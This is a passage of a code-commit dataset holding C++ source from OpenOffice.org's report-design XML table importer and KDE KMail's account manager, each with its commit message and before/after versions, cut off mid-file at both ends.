nPosX = nLeftMargin;\n ::std::vector<TCell>::iterator aColIter = (*aRowIter).begin();\n ::std::vector<TCell>::iterator aColEnd = (*aRowIter).end();\n for (sal_Int32 j = 0; aColIter != aColEnd; ++aColIter,++j)\n {\n TCell& rCell = *aColIter;\n if ( !rCell.xElements.empty())\n {\n ::std::vector< uno::Reference< report::XReportComponent> >::iterator aCellIter = rCell.xElements.begin();\n const ::std::vector< uno::Reference< report::XReportComponent> >::iterator aCellEnd = rCell.xElements.end();\n for (;aCellIter != aCellEnd ; ++aCellIter)\n {\n uno::Reference<report::XShape> xShape(*aCellIter,uno::UNO_QUERY);\n if ( xShape.is() )\n {\n xShape->setPositionX(xShape->getPositionX() + nLeftMargin);\n }\n else\n {\n sal_Int32 nWidth = rCell.nWidth;\n sal_Int32 nColSpan = rCell.nColSpan;\n if ( nColSpan > 1 )\n {\n ::std::vector<TCell>::iterator aWidthIter = aColIter + 1;\n while ( nColSpan > 1 )\n {\n nWidth += (aWidthIter++)->nWidth;\n --nColSpan;\n }\n }\n nHeight = rCell.nHeight;\n sal_Int32 nRowSpan = rCell.nRowSpan;\n if ( nRowSpan > 1 )\n {\n ::std::vector< ::std::vector<TCell> >::iterator aHeightIter = aRowIter + 1;\n while( nRowSpan > 1)\n {\n nHeight += (*aHeightIter)[j].nHeight;\n ++aHeightIter;\n --nRowSpan;\n }\n }\n Reference<XFixedLine> xFixedLine(*aCellIter,uno::UNO_QUERY);\n if ( xFixedLine.is() )\n {\n if ( xFixedLine->getOrientation() == 1 ) \/\/ vertical\n {\n OSL_ENSURE(static_cast<sal_uInt32>(j+1) < m_aWidth.size(),\"Illegal pos of col iter. There should be an empty cell for the next line part.\");\n nWidth += m_aWidth[j+1];\n if ( nWidth < MIN_WIDTH )\n nWidth = MIN_WIDTH;\n }\n else if ( nHeight < MIN_HEIGHT )\n nHeight = MIN_HEIGHT;\n }\n try\n {\n (*aCellIter)->setSize(awt::Size(nWidth,nHeight));\n (*aCellIter)->setPosition(awt::Point(nPosX,nPosY));\n }\n catch(beans::PropertyVetoException)\n {\n OSL_ENSURE(0,\"Could not set the correct position or size!\");\n }\n }\n }\n }\n nPosX += m_aWidth[j];\n }\n nPosY += m_aHeight[i];\n }\n } \/\/ if ( m_xComponent.is() )\n }\n catch(Exception&)\n {\n OSL_ENSURE(0,\"OXMLTable::EndElement -> exception catched\");\n }\n}\n\/\/ -----------------------------------------------------------------------------\nvoid OXMLTable::addCell(const Reference<XReportComponent>& _xElement)\n{\n uno::Reference<report::XShape> xShape(_xElement,uno::UNO_QUERY);\n OSL_ENSURE(static_cast<sal_uInt32>(m_nRowIndex-1 ) < m_aGrid.size() && static_cast<sal_uInt32>( m_nColumnIndex-1 ) < m_aGrid[m_nRowIndex-1].size(),\n \"OXMLTable::addCell: Invalid column and row index\");\n if ( static_cast<sal_uInt32>(m_nRowIndex-1 ) < m_aGrid.size() && static_cast<sal_uInt32>( m_nColumnIndex-1 ) < m_aGrid[m_nRowIndex-1].size() )\n {\n TCell& rCell = m_aGrid[m_nRowIndex-1][m_nColumnIndex-1];\n if ( _xElement.is() )\n rCell.xElements.push_back( _xElement );\n if ( !xShape.is() )\n {\n rCell.nWidth = m_aWidth[m_nColumnIndex-1];\n rCell.nHeight = m_aHeight[m_nRowIndex-1];\n rCell.nColSpan = m_nColSpan;\n rCell.nRowSpan = m_nRowSpan;\n }\n }\n\n if ( !xShape.is() )\n m_nColSpan = m_nRowSpan = 1;\n}\n\/\/ -----------------------------------------------------------------------------\nvoid OXMLTable::incrementRowIndex()\n{\n ++m_nRowIndex;\n m_nColumnIndex = 0;\n m_aGrid.push_back(::std::vector<TCell>(m_aWidth.size()));\n}\n\/\/----------------------------------------------------------------------------\n} \/\/ namespace rptxml\n\/\/ -----------------------------------------------------------------------------\n<commit_msg>INTEGRATION: CWS changefileheader (1.5.56); FILE MERGED 2008\/04\/01 15:23:39 thb 1.5.56.3: #i85898# Stripping all external header guards 2008\/04\/01 12:33:11 thb 1.5.56.2: #i85898# Stripping all external header guards 2008\/03\/31 13:32:12 rt 1.5.56.1: #i87441# Change license header to LPGL v3.<commit_after>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: xmlTable.cxx,v $\n * $Revision: 1.6 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org. If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n#include \"precompiled_reportdesign.hxx\"\n#include \"xmlTable.hxx\"\n#include \"xmlfilter.hxx\"\n#include <xmloff\/xmltoken.hxx>\n#include <xmloff\/xmlnmspe.hxx>\n#include <xmloff\/nmspmap.hxx>\n#include <xmloff\/xmluconv.hxx>\n#include \"RptDef.hxx\"\n#include \"xmlHelper.hxx\"\n#include \"xmlEnums.hxx\"\n#ifndef RPT_XMLCOLUMN_HXX\n#include \"xmlColumn.hxx\"\n#endif\n#include <com\/sun\/star\/report\/ForceNewPage.hpp>\n#include \"xmlCondPrtExpr.hxx\"\n#include \"xmlStyleImport.hxx\"\n#include \"xmlstrings.hrc\"\n#include <connectivity\/dbtools.hxx>\n#include <tools\/debug.hxx>\n#ifndef REPORTDESIGN_SHARED_XMLSTRINGS_HRC\n#include \"xmlstrings.hrc\"\n#endif\n#include <com\/sun\/star\/report\/XShape.hpp>\n#include <com\/sun\/star\/report\/XFixedLine.hpp>\n\n#define MIN_WIDTH 80\n#define MIN_HEIGHT 20\n\nnamespace rptxml\n{\n using namespace ::xmloff;\n using namespace ::com::sun::star;\n using ::com::sun::star::uno::Reference;\n using namespace ::com::sun::star::xml::sax;\n using ::com::sun::star::xml::sax::XAttributeList;\n\n sal_uInt16 lcl_getForceNewPageOption(const ::rtl::OUString& _sValue)\n {\n sal_uInt16 nRet = report::ForceNewPage::NONE;\n const SvXMLEnumMapEntry* aXML_EnumMap = OXMLHelper::GetForceNewPageOptions();\n SvXMLUnitConverter::convertEnum( nRet,_sValue,aXML_EnumMap );\n return nRet;\n }\nDBG_NAME( rpt_OXMLTable )\n\nOXMLTable::OXMLTable( ORptFilter& rImport\n ,sal_uInt16 nPrfx\n ,const ::rtl::OUString& _sLocalName\n ,const Reference< XAttributeList > & _xAttrList\n ,const uno::Reference< report::XSection >& _xSection\n )\n:SvXMLImportContext( rImport, nPrfx, _sLocalName )\n,m_xSection(_xSection)\n,m_nColSpan(1)\n,m_nRowSpan(0)\n,m_nRowIndex(0)\n,m_nColumnIndex(0)\n{\n DBG_CTOR( rpt_OXMLTable,NULL);\n OSL_ENSURE(_xAttrList.is(),\"Attribute list is NULL!\");\n const SvXMLNamespaceMap& rMap = rImport.GetNamespaceMap();\n const SvXMLTokenMap& rTokenMap = rImport.GetSectionElemTokenMap();\n\n const sal_Int16 nLength = (m_xSection.is() && _xAttrList.is()) ? _xAttrList->getLength() : 0;\n static const ::rtl::OUString s_sTRUE = ::xmloff::token::GetXMLToken(XML_TRUE);\n try\n {\n for(sal_Int16 i = 0; i < nLength; ++i)\n {\n rtl::OUString sLocalName;\n const rtl::OUString sAttrName = _xAttrList->getNameByIndex( i );\n const sal_uInt16 nPrefix = rMap.GetKeyByAttrName( sAttrName,&sLocalName );\n const rtl::OUString sValue = _xAttrList->getValueByIndex( i );\n\n switch( rTokenMap.Get( nPrefix, sLocalName ) )\n {\n case XML_TOK_VISIBLE:\n m_xSection->setVisible(sValue == s_sTRUE);\n break;\n case XML_TOK_FORCE_NEW_PAGE:\n m_xSection->setForceNewPage(lcl_getForceNewPageOption(sValue));\n break;\n case XML_TOK_FORCE_NEW_COLUMN:\n m_xSection->setNewRowOrCol(lcl_getForceNewPageOption(sValue));\n break;\n case XML_TOK_KEEP_TOGETHER:\n m_xSection->setKeepTogether(sValue == s_sTRUE);\n break;\n case XML_TOK_SECTION_NAME:\n m_xSection->setName(sValue);\n break;\n case XML_TOK_SECT_STYLE_NAME:\n m_sStyleName = sValue;\n break;\n default:\n break;\n }\n }\n }\n catch(Exception&)\n {\n OSL_ENSURE(0,\"Exception catched while filling the section props\");\n }\n}\n\/\/ -----------------------------------------------------------------------------\nOXMLTable::~OXMLTable()\n{\n DBG_DTOR( rpt_OXMLTable,NULL);\n}\n\/\/ -----------------------------------------------------------------------------\n\nSvXMLImportContext* OXMLTable::CreateChildContext(\n sal_uInt16 _nPrefix,\n const ::rtl::OUString& _rLocalName,\n const Reference< XAttributeList > & xAttrList )\n{\n SvXMLImportContext *pContext = 0;\n ORptFilter& rImport = GetOwnImport();\n const SvXMLTokenMap& rTokenMap = rImport.GetColumnTokenMap();\n Reference<XMultiServiceFactory> xFactor = rImport.getServiceFactory();\n\n switch( rTokenMap.Get( _nPrefix, _rLocalName ) )\n {\n case XML_TOK_TABLE_COLUMNS:\n case XML_TOK_TABLE_ROWS:\n pContext = new OXMLRowColumn( rImport, _nPrefix, _rLocalName,xAttrList ,this);\n break;\n case XML_TOK_ROW:\n incrementRowIndex();\n rImport.GetProgressBarHelper()->Increment( PROGRESS_BAR_STEP );\n pContext = new OXMLRowColumn( rImport, _nPrefix, _rLocalName,xAttrList,this);\n break;\n case XML_TOK_COLUMN:\n rImport.GetProgressBarHelper()->Increment( PROGRESS_BAR_STEP );\n pContext = new OXMLRowColumn( rImport, _nPrefix, _rLocalName,xAttrList,this);\n break;\n case XML_TOK_CONDITIONAL_PRINT_EXPRESSION:\n pContext = new OXMLCondPrtExpr( rImport, _nPrefix, _rLocalName,xAttrList,m_xSection.get());\n break;\n default:\n break;\n }\n\n if( !pContext )\n pContext = new SvXMLImportContext( rImport, _nPrefix, _rLocalName );\n\n return pContext;\n}\n\/\/ -----------------------------------------------------------------------------\nORptFilter& OXMLTable::GetOwnImport()\n{\n return static_cast<ORptFilter&>(GetImport());\n}\n\/\/ -----------------------------------------------------------------------------\nvoid OXMLTable::EndElement()\n{\n try\n {\n if ( m_xSection.is() )\n {\n if ( m_sStyleName.getLength() )\n {\n const SvXMLStylesContext* pAutoStyles = GetImport().GetAutoStyles();\n if ( pAutoStyles )\n {\n XMLPropStyleContext* pAutoStyle = PTR_CAST(XMLPropStyleContext,pAutoStyles->FindStyleChildContext(XML_STYLE_FAMILY_TABLE_TABLE,m_sStyleName));\n if ( pAutoStyle )\n {\n pAutoStyle->FillPropertySet(m_xSection.get());\n }\n }\n } \/\/ if ( m_sStyleName.getLength() )\n \/\/ set height\n ::std::vector<sal_Int32>::iterator aIter = m_aHeight.begin();\n ::std::vector<sal_Int32>::iterator aEnd = m_aHeight.end();\n sal_Int32 nHeight = 0;\n for (; aIter != aEnd; ++aIter)\n nHeight += *aIter;\n m_xSection->setHeight( nHeight );\n \/\/ set positions, widths, and heights\n sal_Int32 nLeftMargin = rptui::getStyleProperty<sal_Int32>(m_xSection->getReportDefinition(),PROPERTY_LEFTMARGIN);\n sal_Int32 nPosY = 0;\n ::std::vector< ::std::vector<TCell> >::iterator aRowIter = m_aGrid.begin();\n ::std::vector< ::std::vector<TCell> >::iterator aRowEnd = m_aGrid.end();\n for (sal_Int32 i = 0; aRowIter != aRowEnd; ++aRowIter,++i)\n {\n sal_Int32 nPosX = nLeftMargin;\n ::std::vector<TCell>::iterator aColIter = (*aRowIter).begin();\n ::std::vector<TCell>::iterator aColEnd = (*aRowIter).end();\n for (sal_Int32 j = 0; aColIter != aColEnd; ++aColIter,++j)\n {\n TCell& rCell = *aColIter;\n if ( !rCell.xElements.empty())\n {\n ::std::vector< uno::Reference< report::XReportComponent> >::iterator aCellIter = rCell.xElements.begin();\n const ::std::vector< uno::Reference< report::XReportComponent> >::iterator aCellEnd = rCell.xElements.end();\n for (;aCellIter != aCellEnd ; ++aCellIter)\n {\n uno::Reference<report::XShape> xShape(*aCellIter,uno::UNO_QUERY);\n if ( xShape.is() )\n {\n xShape->setPositionX(xShape->getPositionX() + nLeftMargin);\n }\n else\n {\n sal_Int32 nWidth = rCell.nWidth;\n sal_Int32 nColSpan = rCell.nColSpan;\n if ( nColSpan > 1 )\n {\n ::std::vector<TCell>::iterator aWidthIter = aColIter + 1;\n while ( nColSpan > 1 )\n {\n nWidth += (aWidthIter++)->nWidth;\n --nColSpan;\n }\n }\n nHeight = rCell.nHeight;\n sal_Int32 nRowSpan = rCell.nRowSpan;\n if ( nRowSpan > 1 )\n {\n ::std::vector< ::std::vector<TCell> >::iterator aHeightIter = aRowIter + 1;\n while( nRowSpan > 1)\n {\n nHeight += (*aHeightIter)[j].nHeight;\n ++aHeightIter;\n --nRowSpan;\n }\n }\n Reference<XFixedLine> xFixedLine(*aCellIter,uno::UNO_QUERY);\n if ( xFixedLine.is() )\n {\n if ( xFixedLine->getOrientation() == 1 ) \/\/ vertical\n {\n OSL_ENSURE(static_cast<sal_uInt32>(j+1) < m_aWidth.size(),\"Illegal pos of col iter. There should be an empty cell for the next line part.\");\n nWidth += m_aWidth[j+1];\n if ( nWidth < MIN_WIDTH )\n nWidth = MIN_WIDTH;\n }\n else if ( nHeight < MIN_HEIGHT )\n nHeight = MIN_HEIGHT;\n }\n try\n {\n (*aCellIter)->setSize(awt::Size(nWidth,nHeight));\n (*aCellIter)->setPosition(awt::Point(nPosX,nPosY));\n }\n catch(beans::PropertyVetoException)\n {\n OSL_ENSURE(0,\"Could not set the correct position or size!\");\n }\n }\n }\n }\n nPosX += m_aWidth[j];\n }\n nPosY += m_aHeight[i];\n }\n } \/\/ if ( m_xComponent.is() )\n }\n catch(Exception&)\n {\n OSL_ENSURE(0,\"OXMLTable::EndElement -> exception catched\");\n }\n}\n\/\/ -----------------------------------------------------------------------------\nvoid OXMLTable::addCell(const Reference<XReportComponent>& _xElement)\n{\n uno::Reference<report::XShape> xShape(_xElement,uno::UNO_QUERY);\n OSL_ENSURE(static_cast<sal_uInt32>(m_nRowIndex-1 ) < m_aGrid.size() && static_cast<sal_uInt32>( m_nColumnIndex-1 ) < m_aGrid[m_nRowIndex-1].size(),\n \"OXMLTable::addCell: Invalid column and row index\");\n if ( static_cast<sal_uInt32>(m_nRowIndex-1 ) < m_aGrid.size() && static_cast<sal_uInt32>( m_nColumnIndex-1 ) < m_aGrid[m_nRowIndex-1].size() )\n {\n TCell& rCell = m_aGrid[m_nRowIndex-1][m_nColumnIndex-1];\n if ( _xElement.is() )\n rCell.xElements.push_back( _xElement );\n if ( !xShape.is() )\n {\n rCell.nWidth = m_aWidth[m_nColumnIndex-1];\n rCell.nHeight = m_aHeight[m_nRowIndex-1];\n rCell.nColSpan = m_nColSpan;\n rCell.nRowSpan = m_nRowSpan;\n }\n }\n\n if ( !xShape.is() )\n m_nColSpan = m_nRowSpan = 1;\n}\n\/\/ -----------------------------------------------------------------------------\nvoid OXMLTable::incrementRowIndex()\n{\n ++m_nRowIndex;\n m_nColumnIndex = 0;\n m_aGrid.push_back(::std::vector<TCell>(m_aWidth.size()));\n}\n\/\/----------------------------------------------------------------------------\n} \/\/ namespace rptxml\n\/\/ -----------------------------------------------------------------------------\n<|endoftext|>"} {"text":"<commit_before>\/\/ KMail Account Manager\n\n#ifdef HAVE_CONFIG_H\n#include <config.h>\n#endif\n\n#include \"kmacctmgr.h\"\n\n#include \"kmacctmaildir.h\"\n#include \"kmacctlocal.h\"\n#include \"kmacctexppop.h\"\n#include \"kmacctimap.h\"\n#include \"networkaccount.h\"\nusing KMail::NetworkAccount;\n#include \"kmacctcachedimap.h\"\n#include \"broadcaststatus.h\"\n#include \"kmfiltermgr.h\"\n#include \"globalsettings.h\"\n\n#include <klocale.h>\n#include <kmessagebox.h>\n#include <kdebug.h>\n#include <kconfig.h>\n#include <kapplication.h>\n\n#include <qregexp.h>\n#include <qvaluelist.h>\n\nusing KPIM::BroadcastStatus;\n\n\/\/-----------------------------------------------------------------------------\nKMAcctMgr::KMAcctMgr(): QObject()\n{\n mAcctList.setAutoDelete(TRUE);\n mAcctChecking.clear();\n mAcctTodo.clear();\n mTotalNewMailsArrived=0;\n mDisplaySummary = false;\n}\n\n\n\/\/-----------------------------------------------------------------------------\nKMAcctMgr::~KMAcctMgr()\n{\n writeConfig(FALSE);\n}\n\n\n\/\/-----------------------------------------------------------------------------\nvoid KMAcctMgr::writeConfig(bool withSync)\n{\n KConfig* config = KMKernel::config();\n QString groupName;\n\n KConfigGroupSaver saver(config, \"General\");\n config->writeEntry(\"accounts\", mAcctList.count());\n\n \/\/ first delete all account groups in the config file:\n QStringList accountGroups =\n config->groupList().grep( QRegExp( \"Account \\\\d+\" ) );\n for ( QStringList::Iterator it = accountGroups.begin() ;\n\tit != accountGroups.end() ; ++it )\n config->deleteGroup( *it );\n\n \/\/ now write new account groups:\n int i = 1;\n for ( QPtrListIterator<KMAccount> it(mAcctList) ;\n\tit.current() ; ++it, ++i ) {\n groupName.sprintf(\"Account %d\", i);\n KConfigGroupSaver saver(config, groupName);\n (*it)->writeConfig(*config);\n }\n if (withSync) config->sync();\n}\n\n\n\/\/-----------------------------------------------------------------------------\nvoid KMAcctMgr::readConfig(void)\n{\n KConfig* config = KMKernel::config();\n KMAccount* acct;\n QString acctType, acctName;\n QCString groupName;\n int i, num;\n uint id;\n\n mAcctList.clear();\n\n KConfigGroup general(config, \"General\");\n num = general.readNumEntry(\"accounts\", 0);\n\n for (i=1; i<=num; i++)\n {\n groupName.sprintf(\"Account %d\", i);\n KConfigGroupSaver saver(config, groupName);\n acctType = config->readEntry(\"Type\");\n \/\/ Provide backwards compatibility\n if (acctType == \"advanced pop\" || acctType == \"experimental pop\")\n acctType = \"pop\";\n acctName = config->readEntry(\"Name\");\n id = config->readUnsignedNumEntry(\"Id\", 0);\n if (acctName.isEmpty()) acctName = i18n(\"Account %1\").arg(i);\n acct = create(acctType, acctName, id);\n if (!acct) continue;\n add(acct);\n acct->readConfig(*config);\n }\n}\n\n\n\/\/-----------------------------------------------------------------------------\nvoid KMAcctMgr::singleCheckMail(KMAccount *account, bool _interactive)\n{\n newMailArrived = false;\n interactive = _interactive;\n\n \/\/ queue the account\n mAcctTodo.append(account);\n\n if (account->checkingMail())\n {\n kdDebug(5006) << \"account \" << account->name() << \" busy, queuing\" << endl;\n return;\n }\n\n processNextCheck(false);\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid KMAcctMgr::processNextCheck(bool _newMail)\n{\n kdDebug(5006) << \"processNextCheck, remaining \" << mAcctTodo.count() << endl;\n KMAccount *curAccount = 0;\n newMailArrived |= _newMail;\n\n KMAccount* acct;\n for ( acct = mAcctChecking.first(); acct; acct = mAcctChecking.next() )\n {\n if ( !acct->checkingMail() )\n {\n \/\/ check done\n kdDebug(5006) << \"account \" << acct->name() << \" finished check\" << endl;\n mAcctChecking.removeRef( acct );\n kmkernel->filterMgr()->deref();\n disconnect( acct, SIGNAL( finishedCheck( bool, CheckStatus ) ),\n this, SLOT( processNextCheck( bool ) ) );\n QString hostname = hostForAccount( acct );\n if ( !hostname.isEmpty() ) {\n if ( mServerConnections.find( hostname ) != mServerConnections.end() ) {\n mServerConnections[hostname] -= 1;\n kdDebug(5006) << \"connections to server \" << hostname\n << \" now \" << mServerConnections[hostname] << endl;\n }\n }\n }\n }\n if (mAcctChecking.isEmpty())\n {\n \/\/ all checks finished, display summary\n if ( mDisplaySummary )\n BroadcastStatus::instance()->setStatusMsgTransmissionCompleted(\n mTotalNewMailsArrived );\n emit checkedMail( newMailArrived, interactive, mTotalNewInFolder );\n mTotalNewMailsArrived = 0;\n mTotalNewInFolder.clear();\n mDisplaySummary = false;\n }\n if (mAcctTodo.isEmpty()) return;\n\n QString accountHostName;\n\n curAccount = 0;\n KMAcctList::Iterator it ( mAcctTodo.begin() );\n KMAcctList::Iterator last ( mAcctTodo.end() );\n for ( ; it != last; it++ )\n {\n accountHostName = hostForAccount(*it);\n kdDebug(5006) << \"for host \" << accountHostName\n << \" current connections=\"\n << (mServerConnections.find(accountHostName)==mServerConnections.end() ? 0 : mServerConnections[accountHostName])\n << \" and limit is \" << GlobalSettings::maxConnectionsPerHost()\n << endl;\n bool connectionLimitForHostReached =\n !accountHostName.isNull() &&\n GlobalSettings::maxConnectionsPerHost() > 0 &&\n mServerConnections.find( accountHostName ) != mServerConnections.end() &&\n mServerConnections[accountHostName] >= GlobalSettings::maxConnectionsPerHost();\n kdDebug(5006) << \"connection limit reached: \"\n << connectionLimitForHostReached << endl;\n if ( !(*it)->checkingMail() && !connectionLimitForHostReached ) {\n curAccount = (*it);\n mAcctTodo.remove( curAccount );\n break;\n }\n }\n if ( !curAccount ) return; \/\/ no account or all of them are already checking\n\n if (curAccount->type() != \"imap\" && curAccount->type() != \"cachedimap\" &&\n curAccount->folder() == 0)\n {\n QString tmp = i18n(\"Account %1 has no mailbox defined:\\n\"\n \"mail checking aborted;\\n\"\n \"check your account settings.\")\n .arg(curAccount->name());\n KMessageBox::information(0,tmp);\n emit checkedMail( false, interactive, mTotalNewInFolder );\n mTotalNewMailsArrived = 0;\n mTotalNewInFolder.clear();\n return;\n }\n\n connect( curAccount, SIGNAL( finishedCheck( bool, CheckStatus ) ),\n\t this, SLOT( processNextCheck( bool ) ) );\n\n BroadcastStatus::instance()->setStatusMsg(\n i18n(\"Checking account %1 for new mail\").arg(curAccount->name()));\n\n kdDebug(5006) << \"processing next mail check for \" << curAccount->name() << endl;\n\n curAccount->setCheckingMail(true);\n mAcctChecking.append(curAccount);\n kmkernel->filterMgr()->ref();\n curAccount->processNewMail(interactive);\n\n if ( !accountHostName.isEmpty() ) {\n if ( mServerConnections.find( accountHostName ) != mServerConnections.end() )\n mServerConnections[accountHostName] += 1;\n else\n mServerConnections[accountHostName] = 1;\n kdDebug(5006) << \"check mail started - connections for host \"\n << accountHostName << \" now is \"\n << mServerConnections[accountHostName] << endl;\n }\n}\n\n\/\/-----------------------------------------------------------------------------\nKMAccount* KMAcctMgr::create(const QString &aType, const QString &aName, uint id)\n{\n KMAccount* act = 0;\n if (id == 0)\n id = createId();\n\n if (aType == \"local\")\n act = new KMAcctLocal(this, aName.isEmpty() ? i18n(\"Local Account\") : aName, id);\n\n if (aType == \"maildir\")\n act = new KMAcctMaildir(this, aName.isEmpty() ? i18n(\"Local Account\") : aName, id);\n\n else if (aType == \"pop\")\n act = new KMAcctExpPop(this, aName.isEmpty() ? i18n(\"POP Account\") : aName, id);\n\n else if (aType == \"imap\")\n act = new KMAcctImap(this, aName.isEmpty() ? i18n(\"IMAP Account\") : aName, id);\n\n else if (aType == \"cachedimap\")\n act = new KMAcctCachedImap(this, aName.isEmpty() ? i18n(\"Disconnected IMAP\") : aName, id);\n\n if (act)\n {\n if (aType != \"imap\" && aType != \"cachedimap\")\n act->setFolder(kmkernel->inboxFolder());\n connect( act, SIGNAL( newMailsProcessed( const QMap<QString, int> & ) ),\n this, SLOT( addToTotalNewMailCount( const QMap<QString, int> & ) ) );\n }\n\n return act;\n}\n\n\n\/\/-----------------------------------------------------------------------------\nvoid KMAcctMgr::add(KMAccount *account)\n{\n if (account) {\n mAcctList.append( account );\n emit accountAdded( account );\n }\n}\n\n\n\/\/-----------------------------------------------------------------------------\nKMAccount* KMAcctMgr::findByName(const QString &aName)\n{\n if (aName.isEmpty()) return 0;\n\n for ( QPtrListIterator<KMAccount> it(mAcctList) ; it.current() ; ++it )\n {\n if ((*it)->name() == aName) return (*it);\n }\n\n return 0;\n}\n\n\n\/\/-----------------------------------------------------------------------------\nKMAccount* KMAcctMgr::find(const uint id)\n{\n if (id == 0) return 0;\n\n for ( QPtrListIterator<KMAccount> it(mAcctList) ; it.current() ; ++it )\n {\n if ((*it)->id() == id) return (*it);\n }\n\n return 0;\n}\n\n\n\/\/-----------------------------------------------------------------------------\nKMAccount* KMAcctMgr::first(void)\n{\n return mAcctList.first();\n}\n\n\n\/\/-----------------------------------------------------------------------------\nKMAccount* KMAcctMgr::next(void)\n{\n return mAcctList.next();\n}\n\n\n\/\/-----------------------------------------------------------------------------\nbool KMAcctMgr::remove( KMAccount* acct )\n{\n if( !acct )\n return false;\n mAcctList.removeRef( acct );\n emit accountRemoved( acct );\n return true;\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid KMAcctMgr::checkMail(bool _interactive)\n{\n newMailArrived = false;\n\n if (mAcctList.isEmpty())\n {\n KMessageBox::information(0,i18n(\"You need to add an account in the network \"\n\t\t\t\t \"section of the settings in order to \"\n\t\t\t\t \"receive mail.\"));\n return;\n }\n mDisplaySummary = true;\n\n mTotalNewMailsArrived=0;\n mTotalNewInFolder.clear();\n\n for ( QPtrListIterator<KMAccount> it(mAcctList) ;\n it.current() ; ++it )\n {\n if (!it.current()->checkExclude())\n singleCheckMail(it.current(), _interactive);\n }\n}\n\n\n\/\/-----------------------------------------------------------------------------\nvoid KMAcctMgr::singleInvalidateIMAPFolders(KMAccount *account) {\n account->invalidateIMAPFolders();\n}\n\n\nvoid KMAcctMgr::invalidateIMAPFolders()\n{\n if (mAcctList.isEmpty()) {\n KMessageBox::information(0,i18n(\"You need to add an account in the network \"\n \"section of the settings in order to \"\n \"receive mail.\"));\n return;\n }\n\n for ( QPtrListIterator<KMAccount> it(mAcctList) ; it.current() ; ++it )\n singleInvalidateIMAPFolders(it.current());\n}\n\n\n\/\/-----------------------------------------------------------------------------\nQStringList KMAcctMgr::getAccounts(bool noImap) {\n\n KMAccount *cur;\n QStringList strList;\n for (cur=mAcctList.first(); cur; cur=mAcctList.next()) {\n if (!noImap || cur->type() != \"imap\") strList.append(cur->name());\n }\n\n return strList;\n\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid KMAcctMgr::intCheckMail(int item, bool _interactive)\n{\n KMAccount* cur;\n newMailArrived = false;\n\n mTotalNewMailsArrived = 0;\n mTotalNewInFolder.clear();\n int x = 0;\n cur = mAcctList.first();\n while (cur)\n {\n x++;\n if (x > item) break;\n cur=mAcctList.next();\n }\n mDisplaySummary = false;\n\n singleCheckMail(cur, _interactive);\n}\n\n\n\/\/-----------------------------------------------------------------------------\nvoid KMAcctMgr::addToTotalNewMailCount( const QMap<QString, int> & newInFolder )\n{\n for ( QMap<QString, int>::const_iterator it = newInFolder.begin();\n it != newInFolder.end();\n ++it )\n {\n mTotalNewMailsArrived += it.data();\n if ( mTotalNewInFolder.find( it.key() ) == mTotalNewInFolder.end() )\n mTotalNewInFolder[it.key()] = it.data();\n else\n mTotalNewInFolder[it.key()] += it.data();\n }\n}\n\n\/\/-----------------------------------------------------------------------------\nuint KMAcctMgr::createId()\n{\n QValueList<uint> usedIds;\n for ( QPtrListIterator<KMAccount> it(mAcctList) ; it.current() ; ++it )\n usedIds << it.current()->id();\n\n usedIds << 0; \/\/ 0 is default for unknown\n int newId;\n do\n {\n newId = kapp->random();\n } while ( usedIds.find(newId) != usedIds.end() );\n\n return newId;\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid KMAcctMgr::cancelMailCheck()\n{\n for ( QPtrListIterator<KMAccount> it(mAcctList) ;\n\tit.current() ; ++it ) {\n it.current()->cancelMailCheck();\n }\n}\n\n\/\/-----------------------------------------------------------------------------\nQString KMAcctMgr::hostForAccount( const KMAccount *acct ) const\n{\n const NetworkAccount *net_acct = dynamic_cast<const NetworkAccount*>( acct );\n return net_acct ? net_acct->host() : QString::null;\n}\n\n#include \"kmacctmgr.moc\"\n<commit_msg>Also use 'IMAP Account' as default name for disc. IMAP.<commit_after>\/\/ KMail Account Manager\n\n#ifdef HAVE_CONFIG_H\n#include <config.h>\n#endif\n\n#include \"kmacctmgr.h\"\n\n#include \"kmacctmaildir.h\"\n#include \"kmacctlocal.h\"\n#include \"kmacctexppop.h\"\n#include \"kmacctimap.h\"\n#include \"networkaccount.h\"\nusing KMail::NetworkAccount;\n#include \"kmacctcachedimap.h\"\n#include \"broadcaststatus.h\"\n#include \"kmfiltermgr.h\"\n#include \"globalsettings.h\"\n\n#include <klocale.h>\n#include <kmessagebox.h>\n#include <kdebug.h>\n#include <kconfig.h>\n#include <kapplication.h>\n\n#include <qregexp.h>\n#include <qvaluelist.h>\n\nusing KPIM::BroadcastStatus;\n\n\/\/-----------------------------------------------------------------------------\nKMAcctMgr::KMAcctMgr(): QObject()\n{\n mAcctList.setAutoDelete(TRUE);\n mAcctChecking.clear();\n mAcctTodo.clear();\n mTotalNewMailsArrived=0;\n mDisplaySummary = false;\n}\n\n\n\/\/-----------------------------------------------------------------------------\nKMAcctMgr::~KMAcctMgr()\n{\n writeConfig(FALSE);\n}\n\n\n\/\/-----------------------------------------------------------------------------\nvoid KMAcctMgr::writeConfig(bool withSync)\n{\n KConfig* config = KMKernel::config();\n QString groupName;\n\n KConfigGroupSaver saver(config, \"General\");\n config->writeEntry(\"accounts\", mAcctList.count());\n\n \/\/ first delete all account groups in the config file:\n QStringList accountGroups =\n config->groupList().grep( QRegExp( \"Account \\\\d+\" ) );\n for ( QStringList::Iterator it = accountGroups.begin() ;\n\tit != accountGroups.end() ; ++it )\n config->deleteGroup( *it );\n\n \/\/ now write new account groups:\n int i = 1;\n for ( QPtrListIterator<KMAccount> it(mAcctList) ;\n\tit.current() ; ++it, ++i ) {\n groupName.sprintf(\"Account %d\", i);\n KConfigGroupSaver saver(config, groupName);\n 